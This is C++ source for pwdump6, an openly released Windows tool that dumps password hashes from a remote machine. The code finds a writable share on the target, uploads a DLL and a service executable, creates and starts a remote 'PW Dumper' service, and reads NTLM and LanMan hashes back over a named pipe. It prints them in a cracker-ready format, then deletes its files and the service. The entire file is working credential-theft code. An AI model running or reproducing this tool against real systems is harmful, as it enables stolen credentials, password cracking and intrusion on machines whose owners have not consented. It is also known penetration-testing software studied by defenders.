/*
Copyright ©2005 foofus.net

This program is free software; you can redistribute it and/or modify it
under the terms of the GNU General Public License Version 2, as published
by the Free Software Foundation.

This program is distributed in the hope that it will be useful, but WITHOUT
ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
FITNESS FOR A PARTICULAR PURPOSE.  The program may contain errors that
could cause failures or loss of data, and may be incomplete or contain
inaccuracies.  By using the program, you expressly acknowledge and agree
that use of the program, or any portion thereof, is at your sole and entire
risk.  You are solely responsible for determining the appropriateness of
using, copying, distributing and modifying the program and assume all risks
of exercising your rights under the license, compliance with all applicable
laws, damage to or loss of data, programs or equipment, and unavailability
or interruption of operations.   THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES
EXPRESSLY DISCLAIM ALL WARRANTIES AND/OR CONDITIONS, EXPRESS OR IMPLIED,
INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES AND/OR CONDITIONS OF
MERCHANTABILITY, OF SATISFACTORY QUALITY, OF FITNESS FOR A PARTICULAR
PURPOSE, OF ACCURACY, OF QUIET ENJOYMENT, AND NONINFRINGEMENT OF THIRD
PARTY RIGHTS.  THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES DO NOT WARRANT
AGAINST INTERFERENCE WITH YOUR ENJOYMENT OF THE PROGRAM, THAT THE FUNCTIONS
CONTAINED IN THE PROGRAM WILL MEET YOUR NEEDS, THAT THE OPERATION OF THE
PROGRAM WILL BE UNINTERRUPTED OR ERROR-FREE, OR THAT DEFECTS IN THE PROGRAM
WILL BE CORRECTED. THE DISCLAIMER OF WARRANTY CONSTITUTES AN ESSENTIAL PART
OF THE LICENSE TO USE THE PROGRAM AND NO USE OF THE PROGRAM IS AUTHORIZED
EXCEPT UNDER THE DISCLAIMER.  ALSO, SOME JURISDICTIONS DO NOT ALLOW THE
EXCLUSION OR LIMITATION OF INCIDENTAL OR CONSEQUENTIAL DAMAGES, SO THAT
EXCLUSION AND LIMITATION MAY NOT APPLY TO YOU.  See the GNU General Public
License Version 2 for more details.

You should have received a copy of the GNU General Public License Version 2
along with this program; if not, write to the Free Software Foundation, 59
Temple Place, Suite 330, Boston, MA 02111-1307 USA.
*/

#include <windows.h>
#include <stdio.h>
#include <conio.h>
#include <iostream>
#include <fstream>
#include <Lm.h>
#include <Process.h>

#include "XGetopt.h"

#define PWDUMP_VERSION	"1.0"
#define PIPE_FORMAT			"%s\\pipe\\pwdpipe"
#define PIPE_TIMEOUT		1000
#define BUFSIZE					500

typedef struct _USERINFO
{
	char cHash[32];	// Stores NTLM and LanMan hash data
	char szUser[256];	// Stores the user's name
} USERINFO, *LPUSERINFO;

bool FindWritableShare(char* szServer, char** szShare, char** szPhysicalPath, char** szLocalDrive, int nMaxLength);
void UnbindDrive(char* szDrive);
void NamedPipeThread(void*);

HANDLE hStopEvent = NULL;
unsigned long hThread = NULL;
DWORD nThreadID;
USERINFO* lpUserInfoArray = NULL;
unsigned long nUserInfoArraySize = 0;

void Usage()
{
	fprintf(stderr, "Usage: pwdump [-h][-o][-u][-p] machineName\n");
	fprintf(stderr, "  where -h prints this usage message and exits\n");
	fprintf(stderr, "  where -o specifies a file to which to write the output\n");
	fprintf(stderr, "  where -u specifies the user name used to connect to the target\n");
	fprintf(stderr, "  where -p specifies the password used to connect to the target\n");
}

int main(int argc, char* argv[])
{
	char c;
    char errMsg[1024];
    BYTE buffer[1024];
    FILE* outfile = stdout;
    SC_HANDLE hscm = NULL;
    SC_HANDLE hsvc = NULL;
	char* szWritableShare = NULL;
	char* szWritableSharePhysical = NULL;
	char* szLocalDrive = NULL;
    char machineName[MAX_PATH];
    char* machineArg;
    char resourceName[MAX_PATH];
	char szFullServicePath[MAX_PATH];
    char pwBuf[256];
    char* password = NULL;
    char* userName = NULL;
    char localPath[MAX_PATH];
    char rDllname[MAX_PATH];
    char rExename[MAX_PATH];
    int cb;

    if(argc < 2)
    {
		Usage();
        return 0;
    }

	fprintf(stderr, "\npwdump6 Version %s by fizzgig and the mighty group at foofus.net\n", PWDUMP_VERSION);
    fprintf(stderr, "Copyright 2005 foofus.net\n\n");
    fprintf(stderr, "This program is free software under the GNU\n");
    fprintf(stderr, "General Public License Version 2 (GNU GPL), you can redistribute it and/or\n");
    fprintf(stderr, "modify it under the terms of the GNU GPL, as published by the Free Software\n");
    fprintf(stderr, "Foundation.  NO WARRANTY, EXPRESSED OR IMPLIED, IS GRANTED WITH THIS\n");
    fprintf(stderr, "PROGRAM.  Please see the COPYING file included with this program\n");
    fprintf(stderr, "and the GNU GPL for further details.\n\n" );

	while ((c = getopt(argc, argv, "hu:o:p:n")) != EOF)
	{
		switch(c)
		{
		case 'h':
			// Print help and exit
			Usage();
			return 0;
			break;
		case 'u':
			// Set the user name
            userName = optarg;
			break;
		case 'o':
			// Set the output file name
            outfile = fopen(optarg, "w");
            if(!outfile)
            {
                sprintf(errMsg, "Couldn't open %s for writing.\n", optarg);
                throw errMsg;
            }
			break;
		case 'p':
			// Set the password
			password = optarg;
			break;
		default:
			printf("Unrecognized option: %c\n", c);
			break;
		}
	}

	// At this point, should have optarg pointing to at least the machine name
	if (optarg == NULL)
	{
		// No machine
		fprintf(stderr, "No target specified\n\n");
		Usage();
		return 0;
	}

	//machineArg = argv[optind];
	machineArg = optarg;
    while(*machineArg == '\\') 
		machineArg++;

    sprintf(machineName, "\\\\%s", machineArg);

	// Prompt for a password if a user but no password is specified
	if (password == NULL && userName != NULL)
	{
		int i = 0;
		c = 0;
		fprintf(stderr, "Please enter the password >" );
		while(c != '\r')
		{
			c = _getch();
			pwBuf[i++] = c;
			_putch('*');
		}
		pwBuf[--i] = 0;
		_putch('\r');
		_putch('\n');

		password = (char*)pwBuf;
	}

    try
    {
		szWritableShare = (char*)malloc(MAX_PATH + 1);
		szWritableSharePhysical = (char*)malloc(MAX_PATH + 1);
		szLocalDrive = (char*)malloc(3);
		memset(szWritableShare, 0, MAX_PATH + 1);
		memset(szWritableSharePhysical, 0, MAX_PATH + 1);
		memset(szLocalDrive, 0, 3);

		GetModuleFileName(NULL, localPath, MAX_PATH);
       
		if (!FindWritableShare(machineArg, &szWritableShare, &szWritableSharePhysical, &szLocalDrive, MAX_PATH))
		{
			sprintf(errMsg, "Unable to find writable share on %s\n", machineName);
			throw errMsg;
		}

		if (strlen(szWritableShare) <= 0 || strlen(szWritableSharePhysical) <= 0 || strlen(szLocalDrive) <= 0)
		{
			sprintf(errMsg, "Unable to find a writable share or available local drive on %s\n", machineName);
			throw errMsg;
		}

		sprintf(resourceName, "%s\\%s", machineName, szWritableShare);
		sprintf(szFullServicePath, "%s\\%s", szWritableSharePhysical, "pwservice.exe");

		// connect to machine
        NETRESOURCE rec;
        rec.dwType = RESOURCETYPE_DISK;
        rec.lpLocalName = NULL;
        rec.lpRemoteName = resourceName;
        rec.lpProvider = NULL;
        int rc = WNetAddConnection2(&rec, password, userName, 0);
        if(rc != ERROR_SUCCESS)
        {
            sprintf(errMsg, "Logon to %s failed: code %d\n", resourceName, rc);
            throw errMsg;
        }

		 // copy dll file to remote machine
        strcpy(strrchr(localPath, '\\') + 1, "LsaExt.dll");
        strcpy(rDllname, resourceName);
        strcat(rDllname, "\\LsaExt.dll");
        
		FILE* flocal = fopen(localPath, "rb");
        if(!flocal)
        {
            sprintf(errMsg, "Couldn't open %s for reading.\n", localPath);
            throw errMsg;
        }

        FILE* fremote = fopen(rDllname, "wb");
        if(!fremote)
        {
            sprintf(errMsg, "Couldn't open %s for writing: %d\n", rDllname, GetLastError());
            fclose(flocal);
            throw errMsg;
        }

        while((cb = fread(buffer, 1, 1024, flocal)))
            fwrite(buffer, 1, cb, fremote);

        fclose(flocal);
        fclose(fremote);

        // copy exe file to remote machine
        strcpy(strrchr(localPath, '\\') + 1, "pwservice.exe");
        strcpy(rExename, rDllname);
        strcpy(strrchr(rExename, '\\') + 1, "pwservice.exe");
        
		flocal = fopen(localPath, "rb");
        if(!flocal)
        {
            sprintf(errMsg, "Couldn't open %s for reading.\n", localPath);
            throw errMsg;
        }

        fremote = fopen(rExename, "wb");
        if(!fremote)
        {
            sprintf(errMsg, "Couldn't open %s for writing.\n", rExename);
            fclose(flocal);
            throw errMsg;
        }

        while((cb = fread(buffer, 1, 1024, flocal)))
            fwrite(buffer, 1, cb, fremote);

        fclose(flocal);
        fclose(fremote);

        // establish the service on remote machine
        hscm = OpenSCManager(machineName, NULL, SC_MANAGER_CREATE_SERVICE);
        if(!hscm)
        {
            sprintf(errMsg, "Failed to open SCM\n");
            throw errMsg;
        }

        hsvc = CreateService(hscm, "pwservice", "PW Dumper", SERVICE_ALL_ACCESS, 
                                    SERVICE_WIN32_OWN_PROCESS, SERVICE_DEMAND_START, SERVICE_ERROR_IGNORE,
                                    szFullServicePath, NULL, NULL, NULL, NULL, NULL);
        if(!hsvc)
        {
            hsvc = OpenService(hscm, "pwservice", SERVICE_ALL_ACCESS);
            if(!hsvc)
            {
                sprintf(errMsg, "Failed to create service\n");
                throw errMsg;
            }
        }

	 	// Open named pipe
		hThread = _beginthreadex(NULL, 0, (unsigned (_stdcall *)(void *))NamedPipeThread, (void*)machineName, 0, (unsigned*)&nThreadID);
		if (hThread == NULL)
		{
            sprintf(errMsg, "Unable to create named pipe thread, error %d\n", GetLastError());
            throw errMsg;
		}
		
		// run service
		if(!StartService(hsvc, 0, NULL))
		{
            fprintf(stderr, "Service failed: %d\n", GetLastError());
		}

        // when the executable is finished running, it can be deleted - clean up
        for(int i = 0; ; i++)
        {
            if(i == 99)
                fprintf(stderr, "Waiting for remote service to terminate...\n");
            else if( i == 199 )
                fprintf(stderr, "   ...Servers with many user accounts can take several minutes");
            else if(i % 100 == 99)
                fprintf(stderr, ".");

            Sleep(100);

            if(DeleteFile(rExename))
                break;
        }

        fprintf(stderr, "\n");
        if(!DeleteFile(rDllname))
            fprintf(stderr, "Couldn't delete executables from remote machine: %d\n", GetLastError());

		WaitForSingleObject((void*)hThread, INFINITE);

		// Go through each structure and output the password data
		if (lpUserInfoArray == NULL)
		{
			printf("No data returned from the target host\n");
		}
		else
		{
			USERINFO* pTemp;
            char LMdata[40];
            char NTdata[40];
            char *p;
            int i;

			for (unsigned long index = 0; index < nUserInfoArraySize; index++)
			{
				pTemp = lpUserInfoArray + index;

				DWORD* dwdata = (DWORD*)(pTemp->cHash);

				// Get LM hash
                if((dwdata[4] == 0x35b4d3aa) && (dwdata[5] == 0xee0414b5) &&
                   (dwdata[6] == 0x35b4d3aa) && (dwdata[7] == 0xee0414b5))
				{
                    sprintf(LMdata, "NO PASSWORD*********************");
				}
                else 
				{
					for(i = 16, p = LMdata; i < 32; i++, p += 2)
					{
						sprintf(p, "%02X", pTemp->cHash[i] & 0xFF);
					}
				}

                // Get NT hash
                if((dwdata[0] == 0xe0cfd631) && (dwdata[1] == 0x31e96ad1) &&
                   (dwdata[2] == 0xd7593cb7) && (dwdata[3] == 0xc089c0e0))
				{
                    sprintf(NTdata, "NO PASSWORD*********************");
				}
                else 
				{
					for(i = 0, p = NTdata; i < 16; i++, p += 2)
					{
						sprintf(p, "%02X", pTemp->cHash[i]  & 0xFF);
					}
				}

                // display data in L0phtCrack-compatible format
                fprintf(outfile, "%s:%s:%s:::\n", pTemp->szUser, LMdata, NTdata);
			}
		}

        throw "Completed.\n";
    }

    // clean up
    catch(char* msg)
    {
		if (lpUserInfoArray != NULL)
			GlobalFree(lpUserInfoArray);

        if(hsvc)
        {
            DeleteService(hsvc);
            CloseServiceHandle(hsvc);
        }

        if(hscm) 
			CloseServiceHandle(hscm);
		
		if (szLocalDrive != NULL)
			UnbindDrive(szLocalDrive);

        WNetCancelConnection2(resourceName, 0, false);

        if(msg) 
			printf(msg);
		
        if(outfile) 
			fclose(outfile);

		if (szWritableShare != NULL)
			free(szWritableShare);

		if (szWritableSharePhysical != NULL)
			free(szWritableSharePhysical);

		if (szLocalDrive != NULL)
			free(szLocalDrive);
	}

    return 0;
}

bool BindDrive(char* szDrive, char* szServer, char* szShare)
{
	DWORD dwResult; 
	NETRESOURCE nr; 
	char szTemp[MAX_PATH];
	char szTempFilename[MAX_PATH];

	::ZeroMemory(&nr, sizeof(NETRESOURCE));
	::ZeroMemory(szTemp, MAX_PATH);
	_snprintf(szTemp, MAX_PATH, "%s\\%s", szServer, szShare);

	nr.dwType = RESOURCETYPE_ANY;
	nr.lpRemoteName = szTemp;
	nr.lpProvider = NULL;
	nr.lpLocalName = szDrive;
	nr.lpComment = "Added by pwdump";

	dwResult = WNetAddConnection2(&nr,
								  (LPSTR) NULL, 
								  (LPSTR) NULL,  
								  CONNECT_UPDATE_PROFILE);
	 
	if (dwResult == ERROR_ALREADY_ASSIGNED) 
	{ 
		printf("Already connected to specified resource on drive %s.\n", szDrive); 
		return false; 
	} 
	else if (dwResult == ERROR_DEVICE_ALREADY_REMEMBERED) 
	{ 
		printf("Attempted reassignment of remembered device %s.\n", szDrive); 
		return false; 
	} 
	else if(dwResult != NO_ERROR) 
	{ 
		printf("A generic error occurred binding the drive: %d\n", dwResult); 
		return false; 
	} 
	 
	::ZeroMemory(szTempFilename, MAX_PATH);
	_snprintf(szTempFilename, MAX_PATH, "%s\\%s.pwdump", szDrive, szServer);

	std::ofstream outputFile(szTempFilename, std::ios::out | std::ios::trunc);
	outputFile.write("success", 7);
	if (outputFile.fail())
	{
		WNetCancelConnection2(szDrive, CONNECT_UPDATE_PROFILE, TRUE);
		return false;
	}

	outputFile.flush();
	outputFile.close();
	DeleteFile(szTempFilename);

	return true;
}

void UnbindDrive(char* szDrive)
{
	DWORD dwResult = WNetCancelConnection2(szDrive, CONNECT_UPDATE_PROFILE, TRUE);
	if (dwResult == ERROR_DEVICE_IN_USE)
	{
		printf("Unable to disconnect drive %s, it appears another process is using the share. Suggest disconnecting it manually.\n", szDrive);
	}

	return;
}

char GetUnusedDriveLetter()
{
	char szTemp[3] = { 0, 0, 0 };
	// Returns 0 if unsuccessful - that probably shouldn't happen too often!

	for (int i = 67; i <= 90; i++)	// 'C' through 'Z'
	{
		_snprintf(szTemp, 2, "%c:", i);
		if (GetDriveType(szTemp) == DRIVE_NO_ROOT_DIR)
		{
			// This drive should work
			//printf("Drive %c is available, using that for bind operations\n", i);
			break;
		}
		szTemp[0] = 0;
	}

	return szTemp[0];
}

bool FindWritableShare(char* szServer, char** lpszShare, char** lpszPhysicalPath, char** szLocalDrive, int nBufferSize)
{
	PSHARE_INFO_502 BufPtr, p;
	NET_API_STATUS res;
	DWORD er=0, tr=0, resume=0, i;
	wchar_t server[MAX_PATH];
	char szTemp[MAX_PATH];
	char szServerWithSlashes[MAX_PATH];
	char szDriveTemp[3] = {0,':',0};

	szDriveTemp[0] = GetUnusedDriveLetter();
	if (szDriveTemp[0] == 0)
	{
		printf("Unable to locate an available drive letter!\n");
		return false;
	}

	::ZeroMemory(server, MAX_PATH);
	::ZeroMemory(szServerWithSlashes, MAX_PATH);
	::ZeroMemory(*lpszShare, nBufferSize);
	::ZeroMemory(*lpszPhysicalPath, nBufferSize);
	_snprintf(szServerWithSlashes, MAX_PATH, "\\\\%s", szServer);
	mbstowcs(server, szServerWithSlashes, strlen(szServerWithSlashes));

	do
	{
		res = NetShareEnum((LPSTR)server, 502, (LPBYTE*)&BufPtr, -1, &er, &tr, &resume);
		if(res == ERROR_SUCCESS || res == ERROR_MORE_DATA)
		{
			p = BufPtr;
			for(i=1; i <= er; i++)
			{
				::ZeroMemory(szTemp, MAX_PATH);
				wcstombs(szTemp, (LPWSTR)(p->shi502_netname), MAX_PATH);

				// Look for shares that are not SYSVOL or NETLOGON, and that have a physical path
				if (stricmp(szTemp, "SYSVOL") != 0 && stricmp(szTemp, "NETLOGON") != 0 && wcslen((LPWSTR)(p->shi502_path)) > 0)
				{
					// If this is a potentially workable share, bind the drive and try uploading something
					if (BindDrive(szDriveTemp, szServerWithSlashes, szTemp))
					{
						// Success!
						// Copy the physical path to the out variable
						wcstombs(szTemp, (LPWSTR)(p->shi502_netname), MAX_PATH);
						strncpy(*lpszShare, szTemp, nBufferSize);
						wcstombs(szTemp, (LPWSTR)(p->shi502_path), MAX_PATH);
						strncpy(*lpszPhysicalPath, szTemp, nBufferSize);
						strncpy(*szLocalDrive, szDriveTemp, 2);
						break;
					}
					// Otherwise continue and try another share
				}
				
				p++;
			}

			NetApiBufferFree(BufPtr);
		}
		else 
			printf("BindUploadShareToLocalDrive returned an error of %ld\n",res);
	}
	while (res == ERROR_MORE_DATA); // end do

	return true;
}

void NamedPipeThread(void* pParam)
{
 	HANDLE hFile;
	TCHAR chBuf[BUFSIZE]; 
	BOOL fSuccess; 
	DWORD cbRead, dwMode;
	char szPipeName[MAX_PATH];
	char szOutputBuffer[2 * MAX_PATH];
	unsigned short nMSB;
	unsigned short sDataSize;

	::ZeroMemory(szPipeName, MAX_PATH);
	::ZeroMemory(szOutputBuffer, 2 * MAX_PATH);
	_snprintf(szPipeName, MAX_PATH, PIPE_FORMAT, (char*)pParam);	// pParam is the name of the server to connect to

	int nError = 2;
	while (nError == 2)
	{
		BOOL bPipe = WaitNamedPipe(szPipeName, 30000);
		if (!bPipe)
		{
			// Error 2 means the pipe is not yet available, keep trying
			nError = GetLastError();
			Sleep(100);
		}
		else
			nError = 0;
	}
	hFile = CreateFile(szPipeName, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);	

	if(hFile == INVALID_HANDLE_VALUE)
	{ 
		printf("CreateFile failed to create a new client-side pipe: error %d\n", GetLastError());
		return;
	}
	else
	{
		do 
		{ 
			dwMode = PIPE_READMODE_MESSAGE; 
			fSuccess = SetNamedPipeHandleState(hFile, &dwMode, NULL, NULL); 
			if (!fSuccess) 
			{
				printf("SetNamedPipeHandleState failed, error %d\n", GetLastError()); 
				return;
			}
	
			::ZeroMemory(chBuf, BUFSIZE);
			fSuccess = ReadFile(hFile, chBuf, BUFSIZE, &cbRead, NULL); 
			if (!fSuccess) 
			{ 
				printf("ReadFile failed with %d.\n", GetLastError()); 
				break;
			} 
			else
			{
				// Received a valid message - decode it
				if (cbRead >= 3)
				{
					if (chBuf[0] == 0)
					{
						// Terminate the thread
						// Need to connect once more here so that the target knows the message has been received and unblocks
						CloseHandle(hFile);
						hFile = CreateFile(szPipeName, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
						if(hFile == INVALID_HANDLE_VALUE)
						{ 
							printf("CreateFile failed to create a new client-side pipe: error %d\n", GetLastError());
							return;
						}
						break;
					}
					else if (chBuf[0] == 2)
					{
						// This is hash data from the target
						nMSB = (chBuf[1] << 8) & 0xFF;
						sDataSize = nMSB | (chBuf[2] & 0xFF);
						if (sDataSize > 32)
						{
							// Hash data will be 32 bytes followed by the user's name
							// Store in an appropriate structure
							USERINFO* pTemp;

							if (lpUserInfoArray == NULL)
							{
								lpUserInfoArray = (USERINFO*)GlobalAlloc(GMEM_FIXED, sizeof(USERINFO));
								nUserInfoArraySize = 1;
								pTemp = lpUserInfoArray;
							}
							else
							{
								lpUserInfoArray = (USERINFO*)GlobalReAlloc((HGLOBAL)lpUserInfoArray, (nUserInfoArraySize + 1) * sizeof(USERINFO), GMEM_MOVEABLE);
								int n = sizeof(USERINFO);
								pTemp = lpUserInfoArray + nUserInfoArraySize; // (nUserInfoArraySize * sizeof(USERINFO));
								++nUserInfoArraySize;
							}
							
							// Copy data to the structure
							for (int i = 0; i < 32; i++)
							{
								pTemp->cHash[i] = (DWORD)(chBuf[i + 3]);
							}
							memset(pTemp->szUser, 0, 256);
							strncpy(pTemp->szUser, chBuf + 35, 255);
						}
						else
							printf("Invalid hash data received (length was %d)\n", sDataSize);

					}
					else if (chBuf[0] == 3)
					{
						// Status message - just print it out
						printf("%s\n", chBuf + 35); 						
					}
					else
					{
						// Unknown message
						printf("Invalid message received from target host: %d\n", chBuf[0]);
					}
				}
				else
					printf("Invalid data received (length was %d)\n", cbRead);

				// Purge data from the pipe
				CloseHandle(hFile);
				hFile = CreateFile(szPipeName, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
				if(hFile == INVALID_HANDLE_VALUE)
				{ 
					printf("CreateFile failed to create a new client-side pipe: error %d\n", GetLastError());
					return;
				}
			}
		} while (1);
 
		CloseHandle(hFile);
	}

	return;
}
